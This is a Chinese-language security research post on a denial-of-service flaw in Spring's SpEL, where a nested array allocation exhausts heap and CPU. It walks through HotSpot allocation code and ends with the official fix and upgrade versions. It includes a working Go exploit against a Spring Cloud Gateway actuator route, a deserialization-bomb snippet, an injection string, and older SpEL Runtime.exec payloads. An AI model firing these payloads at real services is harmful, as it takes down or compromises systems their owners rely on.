前言:水文,没有什么技术,错误之处欢迎大佬们指出
今天Spring
核心框架爆出拒绝服务漏洞,由于Spring
在Java
中的地位超然,该漏洞会影响到几乎所有的Spring
系列组件,例如常见的SpringBoot
和SpringCloud
等。但也不用担心,因为利用门槛很高,需要可以执行SPEL
值得注意的是:安全的SimpleEvaluationContext
同样存在拒绝服务漏洞
于是写了一篇水文
前段时间在研究三梦师傅的文章:一种普遍存在于java系统的缺陷 - Memory DoS
写了一篇 跟着三梦学Java安全 文章,内容是如何半自动检测三梦师傅提到的几种漏洞
Pattern.matches
造成的DoS(又称ReDoS)
经过一段时间的学习与实践,发现了不少的Memory DoS漏洞(称之为缺陷更合适一些)
虽然很多组件或平台给拒绝服务(DENY OF SERVICE)漏洞至少中危,甚至高危,但该漏洞大部分情况下是鸡肋洞,没有太多的实际利用价值,称之为垃圾洞也不为过。不过如果Tomcat
或Spring
这种大范围使用的框架存在低门槛的拒绝服务漏洞,也会有比较严重的后果。这次Spring
核心框架的拒绝服务漏洞有较高的门槛,并不能通杀所有的Spring
应用
一位大佬曾经说过:赚钱的业务,不怕信息泄露,也不怕你RCE,只怕你把它打挂了
三月初爆出了Spring Cloud Gateway
的RCE
漏洞,简单分析发现依旧是Spring Expression
模块的问题
参考去年底Apache Log4j2
出现著名的RCE
漏洞后,爆出两个拒绝服务漏洞,所以我想从SPEL
本身来分析是否存在DOS
官方的修复代码: Spring Cloud Gateway 修复
当使用StandardEvaluationContext
时SPEL
允许执行恶意代码例如T(java.lang.Runtime).getRuntime()
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
// 修复前
StandardEvaluationContext context = new StandardEvaluationContext();
// 修复后
GatewayEvaluationContext context = new GatewayEvaluationContext(new BeanFactoryResolver(beanFactory));
// ...
}
该context
的方法都是基于delegate
对象的,注意到这是SimpleEvaluationContext
xxxxxxxxxx
class GatewayEvaluationContext implements EvaluationContext {
private SimpleEvaluationContext delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
// ...
}
使用SimpleEvaluationContext
时SpEL
无法调用Java
类对象或引用bean
在历史上,一些曾经出现过的SpEL
漏洞大部分采用了该context
做修复,修复后确实无法RCE
但使用了SimpleEvaluationContext
后是否让SpEL
达到了绝对的安全?
于是我翻阅SpEL
官方文档,查询是否有其他漏洞的可能性,首先发现了正则匹配,下面是文档介绍
xxxxxxxxxx
// evaluates to true
boolean trueValue =
parser.parseExpression("'5.00' matches '^-?\\d+(\\.\\d{2})?$'").getValue(Boolean.class);
尝试修改为ReDoS
的Payload
测试
xxxxxxxxxx
SpelExpressionParser parser = new SpelExpressionParser();
String payload = "'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab' matches '(a|aa)+'";
Expression expr = parser.parseExpression(payload);
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Object o = expr.getValue(context);
发现并不会产生拒绝服务,报错Pattern access threshold exceeded
分析Spring
代码后发现已对此问题做了处理
xxxxxxxxxx
private static class AccessCount {
private int count;
public void check() throws IllegalStateException {
// PATTERN_ACCESS_THRESHOLD = 1000000;
if (this.count++ > PATTERN_ACCESS_THRESHOLD) {
throw new IllegalStateException("Pattern access threshold exceeded");
}
}
}
继续阅读文档,发现支持数组创建
xxxxxxxxxx
int[] numbers1 = (int[]) parser.parseExpression("new int[4]").getValue(context);
// Array with initializer
int[] numbers2 = (int[]) parser.parseExpression("new int[]{1,2,3}").getValue(context);
// Multi dimensional array
int[][] numbers3 = (int[][]) parser.parseExpression("new int[4][5]").getValue(context);
其实看过三梦师傅文章的话,稍微分析代码后,即可发现漏洞
xxxxxxxxxx
public static void main(String[] args) {
long startTime = System.currentTimeMillis();
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
long endTime = System.currentTimeMillis();
// 统计时间:耗时5-10秒
System.out.println("cost: " + (endTime - startTime) / 1000 + " s"); }));
SpelExpressionParser parser = new SpelExpressionParser();
// OOM
// 这样写Payload是有原因的,并不是随便写
Expression expr = parser.parseExpression("new int[1024*1024*1024][2]");
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
expr.getValue(context);
}
以上代码将导致OOM
(堆内存耗尽)并耗尽CPU以实现拒绝服务
无论使用危险的StandardEvaluationContext
或者安全的SimpleEvaluationContext
再或者使用修复后的GatewayEvaluationContext
这三种情况,只要SPeL
可控那么就存在拒绝服务漏洞
注意:
漏洞基本原理简单,但我为什么我要用new int[1024*1024*1024][2]
这样的Payload
而不是new int[0x7fffffff]
(0x7fffffff是int型最大值)
我会在0x03 深入原理中分析,涉及到JVM
的一些C++
代码
遗憾,这个Spring的拒绝服务漏洞有一定的门槛,需要可控SPEL
能够执行
该漏洞的发现源于Spring Cloud Gateway
所以就先拿这个测试
利用某师傅 Github环境 并修改Spring Cloud Gateway
到最新版来测试(3.1.1已修复RCE
)
x<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
<version>3.1.1</version>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<version>3.1.1</version>
</dependency>
使用Golang
编写针对于该环境的Exp
xxxxxxxxxx
package main
import (
"fmt"
"net/http"
"os"
"os/signal"
"strings"
)
func main() {
client := &http.Client{}
url := "http://127.0.0.1:8080/actuator/gateway/routes/first_route"
contentType := "application/json"
body := `{
"id": "first_route",
"predicates": [
{
"name": "Cookie",
"args": {
"_genkey_0": "#{new int[1024*1024*1024][2]}",
"_genkey_1": "mycookievalue"
}
}
],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}`
resp, _ := client.Post(url, contentType, strings.NewReader(body))
fmt.Println(resp.StatusCode)
// 简单发送几个请求
for i := 0; i < 10; i++ {
go client.Post("http://127.0.0.1:8080/actuator/gateway/refresh", "application/json", nil)
}
c := make(chan os.Signal)
signal.Notify(c, os.Interrupt, os.Kill)
<-c
}
效果:无法提供服务
在JVM监控中看到堆内存被拉满且CPU使用率直线上升
并且我的笔记本也被打满了
当使用new int[0x7fffffff]
时可以发现CPU
和堆内存并没有明显的变化(相对于上图而言)
发现同样是OOM
但实际上会有两种OOM
所以下文主要分析这两种OOM
的原理
分析Spring
的源码可以跟到JDK
的代码
java.lang.reflect.Array
的newInstance
方法如果参数可控会造成OOM
xxxxxxxxxx
// 普通数组
int[] simpleArray = (int[]) Array.newInstance(int.class, 100);
// 多维数组
int[][] dimArray = (int[][]) Array.newInstance(int.class, new int[]{100, 200});
发现底层是native
方法
xxxxxxxxxx
private static native Object multiNewArray(Class<?> componentType,
int[] dimensions)
throws IllegalArgumentException, NegativeArraySizeException;
该native
方法对应的C++
代码(来自openjdk-8
中HotSpot
部分代码)
int
)则直接构造对应的数组xxxxxxxxxx
arrayOop Reflection::reflect_new_multi_array(oop element_mirror, typeArrayOop dim_array, TRAPS) {
// 目标类型不能为空
if (element_mirror == NULL) {
// 否则抛出NPE
THROW_0(vmSymbols::java_lang_NullPointerException());
}
// 目标维度
int len = dim_array->length();
// 搜索源码发现维度MAX_DIM最大限制为255
if (len <= 0 || len > MAX_DIM) {
// 否则抛出IllegalArgumentException
THROW_0(vmSymbols::java_lang_IllegalArgumentException());
}
// 一个空int数组用于表示:每个维度的长度
jint dimensions[MAX_DIM];
for (int i = 0; i < len; i++) {
// 每个维度的长度
int d = dim_array->int_at(i);
if (d < 0) {
// 负数抛出NegativeArraySizeException
// 这里没有判断最大值,因为超过Integer.MAX_VALUE溢出后一定是负数
THROW_0(vmSymbols::java_lang_NegativeArraySizeException());
}
// 设置每个维度的长度
dimensions[i] = d;
}
// 最终返回的类
Klass* klass;
// 最终维度
int dim = len;
// 判断是否基本数据类型
if (java_lang_Class::is_primitive(element_mirror)) {
// 得到基本数据类型的数组对象(代码在下方)
klass = basic_type_mirror_to_arrayklass(element_mirror, CHECK_NULL);
} else {
// ...
}
// 对象转换(代码在下方)
klass = klass->array_klass(dim, CHECK_NULL);
// 分配内存(代码在下方)
oop obj = ArrayKlass::cast(klass)->multi_allocate(len, dimensions, CHECK_NULL);
return arrayOop(obj);
}
basic_type_mirror_to_arrayklass
函数代码:根据基本类型获得TypeArrayKlass
对象
xxxxxxxxxx
Klass* Reflection::basic_type_mirror_to_arrayklass(oop basic_type_mirror, TRAPS) {
// 得到基本类型
BasicType type = java_lang_Class::primitive_type(basic_type_mirror);
if (type == T_VOID) {
// 不支持VOID数组
THROW_0(vmSymbols::java_lang_IllegalArgumentException());
} else {
// 根据基本类型返回初始化的对象(未分配内存)
return Universe::typeArrayKlassObj(type);
}
}
在klass.hpp
中看到array_klass
的虚函数,因此查找子类的array_klass_impl
函数
xxxxxxxxxx
Klass* array_klass(TRAPS) { return array_klass_impl(false, THREAD); }
protected:
virtual Klass* array_klass_impl(bool or_null, TRAPS);
不难看出上文是typeArrayKlass
对象,这里面的实现比较复杂,省略了其中的代码
大致的逻辑是将TypeArrayKlass
对象转为ObjArrayKlass
对象(期间并未分配内存)
xxxxxxxxxx
Klass* TypeArrayKlass::array_klass_impl(bool or_null, TRAPS) {
return array_klass_impl(or_null, dimension() + 1, THREAD);
}
Klass* TypeArrayKlass::array_klass_impl(bool or_null, int n, TRAPS) {
// ......
// TypeArrayKlass -> ObjArrayKlass
}
此时的klass
对象是ObjArrayKlass
对象,所以multi_allocate
找到以下代码,写的比较巧妙
xxxxxxxxxx
// 此时的rank是目标维度
// 此时的sizes是每个维度的长度数组
// 第三个参数无关
oop ObjArrayKlass::multi_allocate(int rank, jint* sizes, TRAPS) {
// 指向第0个元素
int length = *sizes;
KlassHandle h_lower_dimension(THREAD, lower_dimension());
// 分配内存(代码在下方)
objArrayOop array = allocate(length, CHECK_NULL);
objArrayHandle h_array (THREAD, array);
// 如果是一维数组则直接返回,高维才会继续
if (rank > 1) {
// length是某维度的长度
if (length != 0) {
// 注意该for循环,会在后文提到
for (int index = 0; index < length; index++) {
// 猜测是保存低维和高维数组的缓存,优化作用(与我们分析的目的无关)
ArrayKlass* ak = ArrayKlass::cast(h_lower_dimension());
// 递归本方法(维度减一)以对应维度长度分配内存(取数组第二个元素因为后文会移位)
oop sub_array = ak->multi_allocate(rank-1, &sizes[1], CHECK_NULL);
// 保存执行结果
h_array->obj_at_put(index, sub_array);
}
} else {
for (int i = 0; i < rank - 1; ++i) {
// 指针根据当前维度移位以继续递归
sizes += 1;
}
}
}
return h_array();
}
可以看到分配内存的函数为allocate
xxxxxxxxxx
objArrayOop ObjArrayKlass::allocate(int length, TRAPS) {
// length是每个维度的长度
if (length >= 0) {
if (length <= arrayOopDesc::max_array_length(T_OBJECT)) {
int size = objArrayOopDesc::object_size(length);
KlassHandle h_k(THREAD, this);
// 真正的分配内存(代码在下方)
return (objArrayOop)CollectedHeap::array_allocate(h_k, size, length, CHECK_NULL);
} else {
// 超过长度则抛出OOM(Requested array size exceeds VM limit)
report_java_out_of_memory("Requested array size exceeds VM limit");
JvmtiExport::post_array_size_exhausted();
THROW_OOP_0(Universe::out_of_memory_error_array_size());
}
} else {
THROW_0(vmSymbols::java_lang_NegativeArraySizeException());
}
}
在分配堆内存之前,如果某维度数组长度大于某个值(有尝试跟过max_length
函数发现比较麻烦)则会出现Requested array size exceeds VM limit
报错,但实际上还没有分配内存所以不影响CPU
和堆内存,谈不上真正的拒绝服务
xxxxxxxxxx
oop CollectedHeap::array_allocate(KlassHandle klass,
int size,
int length,
TRAPS) {
// ...
HeapWord* obj = common_mem_allocate_init(klass, size, CHECK_NULL);
return (oop)obj;
}
跟踪array_allocate
最终到common_mem_allocate_noinit
函数,先分配了内存,然后才会产生Java heap space
的OOM
xxxxxxxxxx
HeapWord* CollectedHeap::common_mem_allocate_noinit(KlassHandle klass, size_t size, TRAPS) {
bool gc_overhead_limit_was_exceeded = false;
// 分配内存
result = Universe::heap()->mem_allocate(size,
&gc_overhead_limit_was_exceeded);
// 分配成功的情况直接返回
if (result != NULL) {
// ...
return result;
}
// 分配失败情况下会抛出两种OOM
if (!gc_overhead_limit_was_exceeded) {
report_java_out_of_memory("Java heap space");
// ...
// 抛出Java heap space的OOM
THROW_OOP_0(Universe::out_of_memory_error_java_heap());
} else {
report_java_out_of_memory("GC overhead limit exceeded");
// ...
// 抛出GC overhead limit exceeded的OOM(GC过于频繁的OOM)
THROW_OOP_0(Universe::out_of_memory_error_gc_overhead_limit());
}
}
到这里疑问就解答了:为什么我不写成new int[0x7fffffff]
因为拒绝服务需要的是Java heap space
的OOM
而不是Requested array size exceeds VM limit
new int[0x7fffffff]
在allocate
函数中会走抛出异常的分支而不是分配内存,所以虽OOM
但没有影响到内存
new int[1024*1024*1024][2]
的写法,每一个维度都可以通过allocate
方法的长度检测,成功分配内存
这个最大长度arrayOopDesc::max_array_length
无法直观地看出,至少在0x7fffffff
附近会超过,在1G
左右没有问题
而一维[1024*1024*1024]
会导致以下for
循环的length
为10亿,也就是说执行了10亿次某代码,以耗尽CPU
xxxxxxxxxx
for (int index = 0; index < length; index++) {
ArrayKlass* ak = ArrayKlass::cast(h_lower_dimension());
oop sub_array = ak->multi_allocate(rank-1, &sizes[1], CHECK_NULL);
h_array->obj_at_put(index, sub_array);
}
结论:
Requested array size exceeds VM limit
的OOMJava heap space
的OOMfor
循环执行10亿(1024*1024*1024)次以耗尽CPURequested array size exceeds VM limit
的具体长度限制待分析,无法直接确认
在文章 Java反序列化机制拒绝服务的利用与防御 中提到一种类似的拒绝服务
在JDK反序列化的流程中,同样使用到了Array.newInstance
用来创建数组,而第二个int
参数可控导致反序列化时候OOM达到拒绝服务的效果。上面这篇文章以及 反序列化炸弹 文章中提到一种巧妙的序列化数据构造方式,简短的序列化数据在反序列化的过程中会产生大量的数据。该攻击基于java.util.Set
类实现
xxxxxxxxxx
// 反序列化炸弹
Set<Object> root = new HashSet<>();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet<>();
for(int i=0;i<100;i++){
Set<Object> t1 = new HashSet<>();
Set<Object> t2 = new HashSet<>();
t1.add("foo");
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1=t1;
s2=t2;
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(root);
byte[] data = baos.toByteArray();
例如Spring-AMQP
的RCE
修复方式是限制反序列化目标类必须为java.util
或java.lang
开头,也许有操作空间。反序列化炸弹来源于《Effective Java》的第12章:Github链接
我向多个组件报告了类似的反序列化拒绝服务,并得到认可和致谢,坐等CVE中
当我查看Spring-AMQP
官方通告 CVE-2021-22097 发现r00t4dm
大佬已经想到了类似的方式,不过并不是利用java.util.Set
炸弹,而是用java.util.Dictionary
这个类,也许有更大的通用性
(1)Spring Cloud Function RCE
就近原则,第一想到的是上周五爆出的SPEL
导致的RCE
借用网上师傅的图片,可以看出是从请求头中获取spring.cloud.function.routing-expression
值并执行
不难推出POC
xxxxxxxxxx
POST / HTTP/1.1
...
spring.cloud.function.routing-expression: SPEL
修复方案是SimpleEvaluationContext
并不能防止拒绝服务
xxxxxxxxxx
private final SimpleEvaluationContext headerEvalContext = SimpleEvaluationContext
.forPropertyAccessors(DataBindingPropertyAccessor.forReadOnlyAccess()).build();
(2)CVE-2018-1273
Spring Data Commons中支持字段加[]
的方式获取属性值,但需要fuzz
确定controller
中的方法名
xxxxxxxxxx
POST /api HTTP/1.1
Content-Type: application/x-www-form-urlencoded
name[T(java.lang.Runtime).getRuntime().exec("calc")]
官方的修复如下,该拒绝服务漏洞有效,不清楚最新版本如何,曾经的修复版本可用
xxxxxxxxxx
// 使用SimpleEvaluationContext是存在拒绝服务漏洞的
EvaluationContext context = SimpleEvaluationContext
.forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) //
.withConversionService(conversionService)
.withRootObject(map)
.build();
Expression expression = PARSER.parseExpression(propertyName);
(3)CVE-2018-1270 & CVE-2018-1275
Spring Websocket的一个RCE,自定义以下的前端代码,指定selector
字段可以RCE
xxxxxxxxxx
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
官方的修复同样是使用了SimpleEvaluationContext
(4)其他利用
曾经爆出来由SpEL
导致的RCE
漏洞并不止两三个,凡是采用了SimpleEvaluationContext
修复的都存在拒绝服务漏洞
也有部分漏洞的修复方案对表达式内容做了限制:例如不允许数字和特殊符号(也许可以绕过?值得思考)
并不只是Spring
系列框架使用了SpEL
表达式,例如Apache Camel
也使用到了,也许存在这样的问题
(5)注入
发现在SpEL
中存在类似SQL
注入的手段
情景:某个功能允许用户输入一个字符串,然后进行正则判断输入是否合法(常见的功能)
xxxxxxxxxx
Expression expr = parser.parseExpression("'" + input + "' matches '\\d'");
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
expr.getValue(context);
如果该功能使用了SpEL
来做那么可以注入
xxxxxxxxxx
String input = "' - new int[1024*1024*1024][1024*1024*1024] - '";
使用'- [payload] - '
即可注入拒绝服务的Payload
实际上语句是这样:'' - [payload] - '' matches '\\d'
其中的-
是操作符号,将''
和[payload]
进行运算,虽然最终会报错,但实际上会执行Payload
内容
官方的修复参考:https://github.com/spring-projects/spring-framework/commit/83ac65915871067c39a4fb255e0d484c785c0c11
xxxxxxxxxx
private static final int MAX_ARRAY_ELEMENTS = 256 * 1024; // 256K
// ...
private void checkNumElements(long numElements) {
if (numElements >= MAX_ARRAY_ELEMENTS) {
throw new SpelEvaluationException(getStartPosition(),
SpelMessage.MAX_ARRAY_ELEMENTS_THRESHOLD_EXCEEDED, MAX_ARRAY_ELEMENTS);
}
}
修复方案很简单:限制长度,不过要区分一维数组和多维数组情况
用户和其他依赖框架的修复方案:
Spring Framework
的情况仅更新Spring
到5.3.17
即可SpringBoot
用户仅更新SpringBoot
到2.6.5
即可
通过这个漏洞,可以学到这样的思想
SpEL
里能初始化数组